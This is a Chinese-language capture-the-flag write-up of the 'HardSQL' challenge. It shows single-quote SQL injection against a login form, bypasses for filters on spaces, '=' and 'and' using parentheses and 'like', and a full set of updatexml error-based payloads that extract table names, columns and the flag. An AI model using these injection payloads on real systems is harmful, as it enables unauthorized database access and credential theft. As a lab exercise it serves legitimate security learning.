信息搜集

登录系统,有两个可能的注入点:
[极客大挑战 2019]HardSQL--详细解析-LMLPHP
随便输一下看看传参类型:
[极客大挑战 2019]HardSQL--详细解析-LMLPHP都是GET型。

SQL注入

传参 username=admin’&password=123
[极客大挑战 2019]HardSQL--详细解析-LMLPHP
传参 username=admin&password=123’
[极客大挑战 2019]HardSQL--详细解析-LMLPHPusername和password传参,四种闭合方式只有单引号报错,说明都是单引号闭合。

猜测一下查询语句:

$sql = "SELECT ? FROM ? WHERE username='".$username."' and password='".$password."'";

在username处进行注入,看看能不能免密码登录:

admin' or 1=1# //回显:你可别被我逮住了,臭弟弟估计是有关键字被过滤了
admin'# //NO,Wrong username password!!
admin'--+ //你可别被我逮住了,臭弟弟

注释#是可以用的

大概测试了一下,空格、等号、and、–+被过滤
[极客大挑战 2019]HardSQL--详细解析-LMLPHP

先看一下空格的绕过:/**/被过滤,%0a好像可以
但是使用之后发现%经过url编码后会被解析为%25,不能使用。
那我们就使用括号来绕过:

admin'or((1)like(1))#
password随便写

[极客大挑战 2019]HardSQL--详细解析-LMLPHP
登录成功,说明我们的绕过方式是正确的。
但是没有回显,且过滤了union,所以不能使用联合注入。
既然有报错信息,那我们考虑报错注入:

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))# //geek
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))# // '~H4rDsq1~'
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))# // '~id,username,password~'
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username))from(H4rDsq1)),0x7e),1))# //flag
admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))# //'~flag{de3c8f8a-a2ff-4699-9221-6a'
admin'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),30),0x7e),1))# //'~a-a2ff-4699-9221-6a6ec9bf77e1}~'

flag{de3c8f8a-a2ff-4699-9221-6a6ec9bf77e1}

得到flag.

总结

考察了对空格、等号和部分关键字的绕过;
考察了对报错注入的使用。

12-03 02:54